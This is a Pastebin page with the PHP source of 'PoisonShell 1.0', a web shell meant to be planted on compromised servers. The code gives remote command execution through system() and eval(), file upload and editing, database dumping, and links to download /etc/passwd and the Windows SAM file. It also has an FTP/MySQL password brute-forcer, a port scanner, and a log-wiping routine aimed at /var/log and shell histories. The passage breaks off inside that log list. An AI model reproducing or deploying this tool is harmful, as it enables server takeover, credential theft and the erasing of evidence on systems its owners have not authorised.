API tools faq
paste
Advertisement
Doddy

PoisonShell 1.0 (NO Identado)

Doddy
Oct 8th, 2012
588
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 41.11 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. /*
  6.  
  7. Poison Shell 1.0
  8.  
  9. (C) Doddy Hackman 2012
  10.  
  11. Mail : lepuke[at]hotmail[com]
  12. Web : doddyhackman.webcindario.com
  13. Blog : doddy-hackman.blogspot.com
  14.  
  15. */
  16.  
  17. @session_start();
  18.  
  19. $username = "098f6bcd4621d373cade4e832627b4f6"; //test
  20. $password = "098f6bcd4621d373cade4e832627b4f6"; //test
  21.  
  22. if (isset($_POST['user'])) {
  23. if (md5($_POST['user']) == $username && md5($_POST['pass']) == $password) {
  24. $_SESSION['loginh'] = "1";
  25. }
  26. }
  27.  
  28. if (isset($_GET['chaunow'])) {
  29. @session_destroy();
  30. }
  31.  
  32. if ($_SESSION['loginh'] == 1) {
  33.  
  34. if (isset($_GET['info'])) {
  35. die(phpinfo());
  36. }
  37.  
  38. if (isset($_POST['sessionew'])) {
  39. @session_start();
  40. if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
  41. echo "<script>alert('Session created');</script>";
  42. } else {
  43. echo "<script>alert('Error');</script>";
  44. }
  45. }
  46.  
  47. function creditos() {
  48. echo "<br><br></fieldset><br><br>"; // ventana termina
  49. echo "<fieldset><center>-- == (C) Doddy Hackman 2012 || Contact : lepuke[at]hotmail[com] || Web : doddyhackman.webcindario.com == --</center></fieldset>";
  50. exit(1);
  51. }
  52.  
  53.  
  54. if(isset($_GET['bajardb'])) {
  55.  
  56. $tod = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
  57. mysql_select_db($_GET['bajardb']);
  58.  
  59. $resultado = mysql_query("SHOW TABLES FROM ".$_GET['bajardb']);
  60.    
  61. while ($tabla = mysql_fetch_row($resultado)) {
  62. foreach($tabla as $indice => $valor) {
  63.  
  64. $todo.= "<br><br>".$valor."<br><br>";
  65.  
  66. $resultadox = mysql_query("SELECT * FROM ".$valor);
  67.  
  68. $todo.="<table border=1>";
  69.  
  70. for ($i=0;$i< mysql_num_fields($resultadox);$i++) {
  71. $todo.="<th>".mysql_field_name($resultadox,$i)."</th>";
  72. }
  73. while($dat = mysql_fetch_row($resultadox)) {
  74. $todo.="<tr>";
  75. foreach($dat as $val) {
  76. $todo.="<td >".$val."</td>";
  77. }
  78. }
  79. $todo.="</tr></table>";
  80. }  
  81. }
  82. @mysql_free_result($tod);
  83. @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
  84. @header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
  85. echo $todo;  
  86. exit(1);
  87. }
  88.  
  89. if(isset($_GET['bajartabla'])) {
  90. $tod = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
  91. mysql_select_db($_GET['condb']);
  92. if(!empty($_GET['sentencia'])) {
  93. $resultado =  mysql_query($_GET['sentencia']);
  94. } else {
  95. $resultado = mysql_query("SELECT * FROM ".$_GET['bajartabla']);
  96. }
  97. $todo.="<table border=1>";
  98. for ($i=0;$i< mysql_num_fields($resultado);$i++) {
  99. $todo.="<th>".mysql_field_name($resultado,$i)."</th>";
  100. }
  101. while($dat = mysql_fetch_row($resultado)) {
  102. $todo.="<tr>";
  103. foreach($dat as $val) {
  104. $todo.="<td>".$val."</td>";
  105. }
  106. }
  107. @mysql_free_result($tod);
  108. $todo.="</tr></table>";
  109. @header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
  110. @header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
  111. echo $todo;  
  112. exit(1);
  113. }
  114.  
  115. if (isset($_GET['reload'])) {
  116. $tipo = pathinfo($_GET['reload']);
  117. echo '<meta http-equiv="refresh" content="0;URL=?dir='.$tipo['dirname'].'">';
  118. creditos();
  119. }
  120.  
  121. function dame($file) {
  122. return substr(sprintf('%o', fileperms($file)), -4);
  123. }
  124.  
  125. if (isset($_GET['down'])) {
  126. header("Content-Type: application/octet-stream");
  127. header("Content-Disposition: attachment; filename=".basename($_GET['down']));
  128. readfile($_GET['down']);
  129. exit(0);
  130. }
  131.  
  132. if (isset($_POST['cookienew'])) {
  133. if (setcookie($_POST['cookienew'],$_POST['valor'])) {
  134. echo "<script>alert('Cookie cREATED');</script>";
  135. echo '<meta http-equiv="refresh" content="0;URL=?cookiemanager">';
  136. } else {
  137. echo "<script>alert('Error');</script>";
  138. }
  139. }
  140.  
  141.  
  142. echo '<style type="text/css">
  143.  
  144.  
  145. .main {
  146. margin          : -287px 0px 0px -490px;
  147. border          : White solid 1px;
  148. BORDER-COLOR: #00FF00;
  149. }
  150.  
  151.  
  152. #pie {
  153. position: absolute;
  154. bottom: 0;
  155. }
  156.  
  157. body,a:link {
  158. background-color: #000000;
  159. color:#00FF00;
  160. Courier New;
  161. cursor:crosshair;
  162. font-size: small;
  163. }
  164.  
  165. input,table.outset,table.bord,table,textarea,select,fieldset,td,tr {
  166. font: normal 10px Verdana, Arial, Helvetica,
  167. sans-serif;
  168. background-color:black;color:#00FF00;
  169. border: solid 1px #00FF00;
  170. border-color:#00FF00
  171. }
  172.  
  173. a:link,a:visited,a:active {
  174. color: #00FF00;
  175. font: normal 10px Verdana, Arial, Helvetica,
  176. sans-serif;
  177. text-decoration: none;
  178. }
  179.  
  180. </style>';
  181.  
  182. echo "<title>".$_SERVER["SERVER_NAME"]." - PoisonShell</title>";
  183.  
  184.  
  185.  
  186. $verdad = php_uname('s').php_uname('r');
  187. $link = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$verdad."&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
  188. echo "<center><table><tr><td class=main><br><h2>&nbsp;&nbsp;&nbsp;PoisonShell&nbsp;&nbsp;&nbsp;</h2><br></td><td class=main>
  189. <b>System</b> : <a href='".$link."'>".$verdad."</a> "." ".php_uname('v')."<br><b>Server</b> : ".$_SERVER['SERVER_SOFTWARE']."<br>";
  190.  
  191. if (file_exists("C:/WINDOWS/repair/sam")) {
  192. echo "<b>File Found : </b><a href=?down=C:/WINDOWS/repair/sam>SAM</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  193. }
  194. if (file_exists("/etc/passwd")) {
  195. echo "<b>File Found : </b><a href=?down=/etc/passwd>/etc/passwd</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  196. }
  197. echo "<b>IP</b> : ".$_SERVER['SERVER_ADDR']."&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  198. <b>User</b> : uid=".getmyuid()." (".get_current_user().") gid=".getmygid()."&nbsp;&nbsp;&nbsp;
  199. <b>Path</b> : ".getcwd()."&nbsp;&nbsp;&nbsp;
  200. <b>Version PHP</b> : ".phpversion()."<br>";
  201. if (ini_get('safe_mode')==0) {
  202. echo "<b>Safe Mode</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; 
  203. } else {
  204. echo "<b>Safe Mode</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  205. }
  206. if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
  207. echo "<b>Magic Quotes</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  208. } else {
  209. echo "<b>Magic Quotes</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  210. }
  211. exec("perl -h",$perl);
  212. if ($perl) {
  213. echo "<b>Perl</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  214. } else {
  215. echo "<b>Perl</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  216. }
  217. exec("wget --help",$wget);
  218. if ($wget) {
  219. echo "<b>WGET</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  220. } else {
  221. echo "<b>WGET</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  222. }
  223. exec("curl_version",$curl);
  224. if ($curl) {
  225. echo "<b>CURL</b> : ON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  226. } else {
  227. echo "<b>CURL</b> : OFF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  228. }
  229.  
  230. echo "</tr></td></table></center><br>";
  231.  
  232. echo "
  233.  
  234. <center>
  235. <table>
  236. <td class=main><a href=?dir=>Navigate</a></td><td class=main><a href=?cmd=>CMD</a></td>
  237. <td class=main><a href=?upload=>Upload</a></td><td class=main><a href=?base64=>Base64</a></td>
  238. <td class=main><a href=?phpconsole=>Eval</a></td><td class=main><a href=?info=>phpinfo</a></td>
  239. <td class=main><a href=?bomber=>Mailer</a></td><td class=main><a href=?cracker=>Crackers</a></td>
  240. <td class=main><a href=?proxy=>ProxyWeb</a></td>
  241. <td class=main><a href=?port=>PortScan</a></td><td class=main><a href=?md5=>Encodes</a></td>
  242. <td class=main><a href=?md5crack=>MD5Cracker</a></td>
  243. <td class=main><a href=?backshell>BackShell</a></td><td class=main><a href=?mass=>MassDefacement</a></td>
  244. <td class=main><a href=?logs=>CleanLogs</a></td><td class=main><a href=?ftp=>FTP</a></td>
  245. <td class=main><a href=?sql=>SQL</a></td><td class=main><a href=?cookiemanager=>Cookies</a></td>
  246. <td class=main><a href=?sessionmanager=>Session</a></td>
  247. <td class=main><a href=?chau=>DestroyMe</a></td>
  248. </table>
  249. </center>
  250. <br><br>
  251. ";
  252.  
  253. echo "<fieldset><br>"; //ventana inicia
  254. //and count($_POST) == 0
  255. if (count($_GET) == 0) {
  256.  
  257. echo <<<_HTML_
  258. <center><pre>
  259.                                            
  260.                                            
  261.                  ¾¾¾¾¾¾¾¾¾¾¾              
  262.              ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  263.            ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾          
  264.          ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  265.          ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  266.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  267.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  268.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  269.        ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  270.         ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾      
  271.         ¾¾¾¾¾¾¾  ¾¾¾¾¾¾¾¾¾¾¾    ¾¾¾¾      
  272.          ¾¾¾¾       ¾¾¾¾¾¾      ¾¾¾¾      
  273.           ¾¾¾      ¾¾¾ ¾¾¾      ¾¾¾        
  274.           ¾¾¾¾¾¾¾¾¾¾¾   ¾¾¾   ¾¾¾¾        
  275.            ¾¾¾¾¾¾¾¾¾     ¾¾¾¾¾¾¾¾¾        
  276.            ¾¾¾¾¾¾¾¾¾  ¾  ¾¾¾¾¾¾¾¾¾        
  277.            ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾        
  278.                 ¾¾¾¾¾¾¾¾¾¾¾¾¾              
  279.               ¾  ¾¾¾¾¾¾¾¾¾¾  ¾            
  280.               ¾    ¾ ¾¾¾¾ ¾  ¾            
  281.               ¾ ¾¾          ¾¾            
  282.      ¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾            
  283.     ¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾    
  284.     ¾¾¾¾¾¾¾      ¾¾¾¾¾¾¾¾¾¾¾      ¾¾¾¾¾¾  
  285.     ¾¾¾¾¾¾¾¾¾¾      ¾¾¾         ¾¾¾¾¾¾¾¾¾  
  286.      ¾¾¾  ¾¾¾¾¾¾             ¾¾¾¾¾¾¾¾¾¾¾  
  287.               ¾¾¾¾¾¾     ¾¾¾¾¾¾¾          
  288.                  ¾¾¾¾¾¾¾¾¾¾¾¾              
  289.                   ¾¾¾¾¾¾¾¾¾                
  290.                ¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾            
  291.            ¾¾¾¾¾¾¾         ¾¾¾¾¾¾¾        
  292.        ¾¾¾¾¾¾¾                ¾¾¾¾¾¾¾¾¾¾  
  293.   ¾¾¾¾¾¾¾¾                       ¾¾¾¾¾¾¾¾  
  294.   ¾¾¾¾¾¾                           ¾¾¾¾¾¾  
  295.    ¾¾¾¾                             ¾¾¾¾  
  296.                                            
  297.                                            
  298.                                            
  299. </pre></center>                                                            
  300. _HTML_;
  301.  
  302. }
  303.  
  304. if (isset($_GET['cracker'])) {
  305. echo "
  306. <h2><center>Multi Cracker</center></h2><br>
  307. <form action='' method=POST>
  308. <center><table border=1>
  309. <td><b>Host : </b></td><td><input type=text name=host value=localhost></td><tr>
  310. <td><b>User : </b></td><td><input type=text name=user value=doddy></td><tr>
  311. <td><b>Wordlist : </b></td><td><input type=text name=passnow value='c:/aca.txt'></td><tr>
  312. <td><b>Service : </b></td><td><select name=services><option>FTP</option><option>MYSQL</option></select></td><tr>
  313. </table><br><br><input type=submit value=Crack><br><br></center>
  314. </form>
  315.  
  316. ";
  317.  
  318. if (isset($_POST['passnow'])) {
  319.  
  320. $open = fopen($_POST['passnow'],"r");
  321.  
  322. echo "<br><br><fieldset><center>";
  323. echo "<br>[+] Starting the crack<br><br>";
  324.  
  325. if ($_POST['services'] == "FTP") {
  326. echo "[+] Service : FTP<br><br>";
  327.  
  328. while(!feof($open)) {
  329. $word = fgets($open,255);
  330. $linea = chop($word);
  331. if ($enter = ftp_connect($_POST['host'])) {
  332. if ($dentro = ftp_login($enter,$_POST['user'],$linea)) {
  333. echo "[+] User : ".$_POST['user']."<br>";
  334. echo "[+] Pass : ".$linea."<br>";
  335. fclose($open);
  336. ftp_close($enter);
  337. echo "<br><br>[+] Scan Finished<br><br>";
  338. creditos();
  339. }
  340. }
  341. }
  342. echo "<br><br>[+] Scan Finished<br><br>";
  343. }
  344.  
  345. if ($_POST['services'] == "MYSQL") {
  346. echo "[+] Service : MYSQL<br><br>";
  347.  
  348. while(!feof($open)) {
  349. $word = fgets($open,255);
  350. $linea = chop($word);
  351. if (mysql_connect($_POST['host'],$_POST['user'],$linea)) {
  352. echo "[+] User : ".$_POST['user']."<br>";
  353. echo "[+] Pass : ".$linea."<br>";
  354. fclose($open);
  355. mysql_close();
  356. echo "<br><br>[+] Scan Finished<br><br>";
  357. creditos();
  358. }
  359. }
  360. echo "<br><br>[+] Scan Finished<br><br>";
  361. }
  362. }
  363. }
  364.  
  365.  
  366. if (!empty($_GET['hostar'])) {
  367.  
  368. @set_time_limit(5);
  369.  
  370. echo "<center><h2>PortScan</h2></center><br><br>";
  371. echo "<fieldset>";
  372. echo "[+] <b>Target : </b>".$_GET['hostar']."<br>";
  373. echo "[+] <b>Scan to : </b>".$_GET['start']."-".$_GET['end']."<br><br>";  
  374.  
  375. for ( $i = $_GET['start'] ; $i < $_GET['end'] ; $i++ ) {
  376. $re = @fsockopen($_GET['hostar'],$i,$errno,$errstr,1);
  377. if ($re) {
  378. echo "<b>[+] Port Found : </b>".$i."<br>";
  379. }
  380. }
  381. echo "<br><br><b>[+] Scan Finished</b><br><br>";
  382. echo "</fieldset>";
  383. }
  384.  
  385.  
  386. if (isset($_GET['port'])) {
  387. echo "<center><h2>ScanPort</h2></center><br><br>";
  388. echo "<center>
  389. <form action='' method=GET>
  390. <table border=1>
  391. <td><b>Host : </b></td><td><input type=text name=hostar value=localhost></td><tr>
  392. <td><b>Port Start : </b></td><td><input type=text name=start value=79></td><tr>
  393. <td><b>Port End : </b></td></b><td><input type=text name=end value=82></td><tr>
  394. </table><br>
  395. <input type=submit value=Scan>
  396. </form></center>
  397. <br>";
  398.  
  399. }
  400.  
  401.  
  402. if (isset($_GET['proxy'])) {
  403.  
  404. echo "<center><h2>Simple ProxyWeb</h2></center><br><br>";
  405. echo "<center><form action='' method=GET>";
  406. echo "<b>Web : </b><input type=text size=40 name=proxy value=http://localhost/sql.php><input type=submit value=Get>";
  407. echo "</form></center>";   
  408. $code = @file_get_contents($_GET['proxy']);
  409. if ($code) {
  410. echo "<br><br><fieldset>".$code."<br><br></fieldset>";
  411. }
  412. }
  413.  
  414.  
  415.  
  416. if (isset($_GET['md5'])) {
  417.  
  418. echo "<form action='' method=POST>
  419. <b>Text :</b> <input type=text name=tex value=test><select name=optionsa><option>MD5</option><option>SHA1</option><option>CRC32</option></select><input type=submit value=Encode>
  420. </form>
  421. ";
  422.  
  423. }
  424.  
  425. if (isset($_POST['tex'])) {
  426. echo "<br><br>Result<br><br><fieldset>";
  427. if ($_POST['optionsa'] == "MD5") {
  428. echo md5($_POST['tex']);
  429. }
  430. if ($_POST['optionsa'] == "SHA1") {
  431. echo sha1($_POST['tex']);
  432. }
  433. if ($_POST['optionsa'] == "CRC32") {
  434. printf("%u\n",crc32($_POST['tex']));
  435. }
  436. echo "</fieldset>";
  437. }
  438.  
  439.  
  440. if(isset($_GET['perms'])) {
  441. echo "
  442. <form action='' method=POST>
  443. <b>File :</b> <input type=text name=archivo value=".$_GET['perms'].">
  444. <br>
  445. Perms : <input type=text name=perms value=".dame($_GET['perms'])."
  446. <br><br>
  447. <br><input type=submit name=cambiarperms value=Change>
  448. </form>
  449. ";
  450. }
  451. if (isset($_POST['cambiarperms'])) {
  452. if (chmod($_POST['archivo'],$_POST['perms'])) {
  453. echo "<script>alert('cHANGED');</script>";
  454. } else {
  455. echo "<script>alert('Error');</script>";
  456. }  
  457. echo "<br><br><font color=red><center><a href=?reload=".urlencode($_POST['archivo']).">Atras</a><br><br></font>
  458. ";
  459. }
  460.  
  461. if (isset($_GET['ren'])) {
  462. echo "
  463. <form action='' method=POST>
  464. File : <input type=text name=nombre value=".$_GET['ren']."><br>
  465. Change to : <input type=text name=cambio><br><BR>
  466. <input type=submit name=cambios value=Change><BR>
  467. </form>
  468. ";
  469. }
  470.  
  471. if (isset($_POST['cambios'])) {
  472. if (@rename($_POST['nombre'],$_POST['cambio'])) {
  473. echo "<script>alert('Changed');</script>";
  474. } else {
  475. echo "<script>alert('Error');</script>";
  476. }
  477. echo "<br><br><font color=red><center><a href=?reload=".urlencode($_POST['cambios']).">Atras</a><br><br></font></center>";
  478. }
  479.  
  480. if (isset($_POST['crear1'])) {
  481. chdir($_POST['dir']);
  482. if (fopen($_POST['crear1'],"w")) {
  483. echo "<script>alert('File cREATED');</script>";
  484. }else {
  485. echo "<script>alert('Error');</script>";
  486. }
  487. }
  488.  
  489. if (isset($_POST['crear2'])) {
  490. chdir($_POST['dir']);
  491. if (@mkdir($_POST['crear2'],777)) {
  492. echo "<script>alert('Directory created');</script>";
  493. } else {
  494. echo "<script>alert('Error');</script>";
  495. }
  496. }
  497.  
  498. if (isset($_GET ['copiar'])) {
  499. echo '
  500. <form action="" method=POST>
  501. File : <input type=text name=archivo value='.$_GET['copiar'].'><br>
  502. Copy to : <input type=text name=nuevo><br><br>
  503. <input type=submit name=copiado value=Copy><BR>
  504. </form>
  505. ';
  506. }
  507.  
  508. if (isset($_POST['copiado'])) {
  509. if (copy($_POST['archivo'],$_POST['nuevo'])) {
  510. echo "<script>alert('OK');</script>";
  511. } else {
  512. echo "<script>alert('Error');</script>";
  513. }
  514. echo "<br><br><font color=red><center><a href=?reload=".urlencode($_POST['archivo']).">Atras</a><br><br></font></center>";
  515. }
  516.  
  517. if (isset($_GET['open'])) {
  518. echo "<form action='' method=POST>";
  519. echo "<center>";
  520. echo "<textarea cols=80 rows=40 name=code>";
  521. $archivo = file($_GET['open']);
  522. foreach($archivo as $n=>$sub) {
  523. $texto = htmlspecialchars($sub);
  524. echo $texto;
  525. }
  526. echo "</textarea></center>";
  527. echo "<br><br><center><input type=submit value=Save name=modificar></center><br><br>";
  528. echo "</form>";
  529. }
  530.  
  531. if (isset($_POST['modificar'])) {
  532. $modi = fopen($_GET['open'],'w+');
  533. if ($yeah = fwrite($modi,$_POST['code'])) {
  534. echo "<script>alert('OK');</script>";
  535. } else {
  536. echo "<script>alert('Error');</script>";
  537. }
  538. echo "<br><br><font color=red><center><a href=?reload=".urlencode($_GET['open']).">Atras</a><br><br></font></center>";
  539. }
  540.  
  541.  
  542. if (isset($_POST['options'])) {
  543.  
  544. $files = $_POST['valor'];
  545.  
  546. if ($_POST['options'] == "Delete") {
  547. foreach ($files as $file) {
  548. if (filetype($file) == "dir") {
  549. @rmdir($file);
  550. } else {
  551. @unlink($file);
  552. }
  553. }
  554. echo '<meta http-equiv=Refresh content="0;url=?dir='.urlencode($dir->path).'">';
  555. echo "<script>alert('Files Deleted');</script>";
  556. }
  557.  
  558. if ($_POST['options'] == "Download") {
  559. foreach ($files as $file) {
  560. echo '<meta http-equiv=Refresh content="0;url=?down='.$file.'">';
  561. exit(0);
  562. }
  563. }
  564.  
  565. if ($_POST['options'] == "Copy") {
  566. echo "<form action='' method=POST>";
  567. foreach($files as $file) {
  568. echo 'Name : <input type=text name=rutax[] value="'.$file.'"> To : <input type=text name=cambiax[] value="'.$file.'"><br>';
  569. }
  570. echo "<br><br><input type=submit value=Copy>";
  571. echo "</form>";
  572. exit(0);
  573. }
  574.  
  575. if ($_POST['options'] == "Move") {
  576. echo "<form action='' method=POST>";
  577. foreach($files as $file) {
  578. echo 'Name : <input type=text name=rutas[] value="'.$file.'"> To : <input type=text name=cambiar[] value="'.$file.'"><br>';
  579. }
  580. echo "<br><br><input type=submit name=mirameboludo value=Move>";
  581. echo "</form>";
  582.  
  583. creditos();
  584. }
  585. }
  586.  
  587. if (isset($_POST['rutax'])) {
  588. $tengo = count($_POST['rutax']);
  589. for ($i = 0; $i <= $tengo; $i++) {
  590. @copy($_POST['rutax'][$i],$_POST['cambiax'][$i]);
  591. }
  592. echo "<script>alert('Files copied');</script>";
  593. }
  594.  
  595. if (isset($_POST['mirameboludo'])) {
  596. $tengo = count($_POST['rutas']);
  597. for ($i = 0; $i <= $tengo; $i++) {
  598. @rename($_POST['rutas'][$i],$_POST['cambiar'][$i]);
  599. }
  600. echo "<script>alert('Files moved');</script>";
  601. }
  602.  
  603.  
  604. if (isset($_GET['dir'])) {
  605. if ($_GET['dir']=="") {
  606. $path = getcwd();
  607. @chdir($path);
  608. $dir = @dir($path);
  609. } else {
  610. $path = $_GET['dir'];
  611. @chdir($path);
  612. $dir = @dir($path);
  613. }
  614.  
  615. $scans = range("B","Z");
  616. echo "<b>Detect Drives : </b>";
  617. foreach($scans as $drive) {
  618. $drive = $drive.":\\";
  619. if (is_dir($drive)) {
  620. echo "&nbsp;&nbsp;"."<a href=?dir=".$drive.">".$drive."</a>";
  621. }
  622. }
  623.  
  624. echo "
  625. <br><br>
  626. <form action='' method=GET>
  627. <b>Directory</b> : <input type=text name=dir value='".$path."'><input type=submit name=ir value=Enter>
  628. </form>
  629. <br><br>
  630. <form action='' method=POST>
  631. <b>New File</b> : <input type=text name=crear1><input type=hidden name=dir value=".$dir->path."><input type=submit value=Make>
  632. </form>
  633. <form action='' method=POST>
  634. <b>New Directory</b> : <input type=text name=crear2><input type=hidden name=dir value=".$dir->path."><input type=submit value=Make>
  635. </form><br><br>
  636. ";
  637.  
  638. $archivos = array('dir'=>array(),'file'=>array());
  639. while ($archivo = $dir->read()) {
  640. $ver = @filetype($path.'/'.$archivo) ;
  641. if ($ver=="dir") {
  642. $archivos['dir'][] = $path.'/'.$archivo;
  643. } else {
  644. $archivos['file'][] = $path.'/'.$archivo;
  645. }
  646. }
  647. $dir->rewind();
  648.  
  649. if (count($archivos['dir'])==0 and count($archivos['file']==0)) {
  650. echo "<script>alert('Directory empty');/<script>";
  651. }
  652. echo "<form action='' method=POST>";
  653. echo "<br><b>Directory Found</b> : ".count($archivos['dir'])."<br>";
  654. echo "<b>Files Found</b> : ".count($archivos['file'])."<br><br><br>";
  655. echo "<table bgcolor=#00FF00 border=1>";
  656. echo "<td width=100>Name</td><td width=100>Type</td><td width=100>Modification time</td>";
  657. echo "<td width=100>Perms</td><td width=100>Action</td>";
  658. echo "<tr>";
  659. foreach ($archivos['dir'] as $dirs) {
  660. $dirsx = pathinfo($dirs);
  661. echo "<td width=100><a href=?dir=".urlencode($dirs).">".urlencode($dirsx['basename'])."</a></td>";
  662. echo "<td width=100>Directory</td>";
  663. echo "<td width=100>".date("F d Y H:i:s",fileatime($dirs))."</td>";
  664. echo "<td width=100><a href=?perms=".$dirs.">".dame($dirs)."</a></td>";
  665. echo "<td><input type=checkbox name=valor[] value=".$dirs."></td>";
  666. echo "</tr><tr>";
  667. }
  668. foreach ($archivos['file'] as $files) {
  669. $filex = pathinfo($files);
  670. echo "<td width=100><a href=?open=".urlencode($files).">".urlencode($filex['basename'])."</a></td>";
  671. echo "<td width=100>File</td>";
  672. echo "<td width=100>".date("F d Y H:i:s",fileatime($files))."</td>";
  673. echo "<td width=100><a href=?perms=".$files.">".dame($files)."</a></td>";
  674. echo "<td><input type=checkbox name=valor[] value=".$files."></td>";
  675. echo "</tr><tr>";
  676. }
  677. echo "</table>";
  678.  
  679. echo"<br><br>
  680. Options :
  681. <select name=options>
  682. <option>Delete</option>
  683. <option>Move</option>  
  684. <option>Copy</option>
  685. <option>Download</option>
  686. </select>&nbsp;&nbsp;<input type=submit value=Ok></form>";
  687.  
  688. }
  689.  
  690. if (isset($_GET['cmd'])) {
  691. echo '<center><h2>Console</h2><br>
  692. <form action="" method=POST>
  693. <b>Command : </b><input type=text name=comando size=50><input type=submit name=ejecutar value=Now>
  694. </form></center>
  695. ';
  696. }
  697.  
  698. if (isset($_POST['ejecutar'])) {
  699. echo '<center><br>
  700. <br><br>Command<br><br>
  701. <fieldset>
  702. '.$_POST['comando'].'</fieldset>
  703. <br><br>Result<br><br><fieldset>';
  704. if (!system($_POST['comando'])) {
  705. echo "<script>alert('Error loading command');</script>";
  706. echo "Error";
  707. }
  708. echo "</center><br><br></fieldset><br><br>";
  709. }
  710.  
  711. if (isset($_GET['upload'])) {
  712. echo "<center><h2>Upload files</h2></center><center><br><br><br>";
  713. echo '
  714. <form enctype="multipart/form-data" action="" method=POST>
  715. <b>File : </b><input type=file name=archivo><br><br>   
  716. <b>Directory : </b><input type=text name=destino value='.getcwd().'>
  717. <input type=submit value=Upload><br>
  718. </form>';
  719. if (isset($_FILES['archivo'])) {
  720. $subimos = basename($_FILES['archivo']['name']);
  721. if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subimos)) {
  722. if (copy($subimos,$_POST['destino']."/".$subimos)) {
  723. unlink($subimos);
  724. echo "<script>alert('File uploaded');</script>";
  725. }
  726. } else {
  727. echo "<script>alert('Error');</script>";
  728. }}}
  729.  
  730. if (isset($_GET['base64'])) {
  731. echo '<center><h2>Base64 encode/decoder</h2><br>
  732. <form action="" method=POST>
  733. <b>Encode :</b> <input type=text name=code size=50><input type=submit name=codificar value=Encode>
  734. </form>
  735. <form action="" method=POST>
  736. <b>Decode :</b> <input type=text name=decode size=50><input type=submit name=decodificar value=Decode>
  737. </form></center>
  738. ';
  739. }
  740. if (isset($_POST['codificar'])) {
  741. echo "<center>";
  742. echo "<br><br>Text<br><br><fieldset>".$_POST['code']."</fieldset><br><br>Result<br><br><fieldset>";
  743. echo base64_encode($_POST['code'])  ;
  744. echo "</fieldset></center><br><br>";
  745. }
  746.  
  747. if (isset($_POST['decodificar'])) {
  748. echo "<center><br><br>Text<br><br><fieldset>".$_POST['decode']."</fieldset><br><br>Result<br><br><fieldset>";
  749. echo base64_decode($_POST['decode']);
  750. echo "</fieldset></center><br><br>";
  751. }
  752.  
  753. if (isset($_GET['phpconsole'])) {
  754. echo '<center><h2>Function eval()</h2><center><br>
  755. <form action="" method=POST>
  756. <b>Code :</b> <input type=text name=codigo size="70"><input type=submit name=cargar value=OK>
  757. </form>
  758. ';
  759. }
  760.  
  761. if (isset($_POST['cargar'])) {
  762. echo "<br><br>Code<br><br>
  763. <fieldset>
  764. ".$_POST['codigo']."
  765. </fieldset>
  766. <br><br>
  767. Result<br><br>
  768. <fieldset>";
  769. eval($_POST['codigo']);
  770. echo "</fieldset>
  771. ";
  772. }
  773.  
  774. if (isset($_GET['logs'])) {
  775. echo '
  776. <br><br><center><h3>Zapper</h3>
  777. <br><br>
  778. <form action="" method=GET>
  779. <input type=submit name=clean value=Start>
  780. </form></center>
  781. <br><br>
  782. ';
  783. }
  784.  
  785. if (isset($_GET['clean'])) {
  786.  
  787. $paths = array("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  788. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  789. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
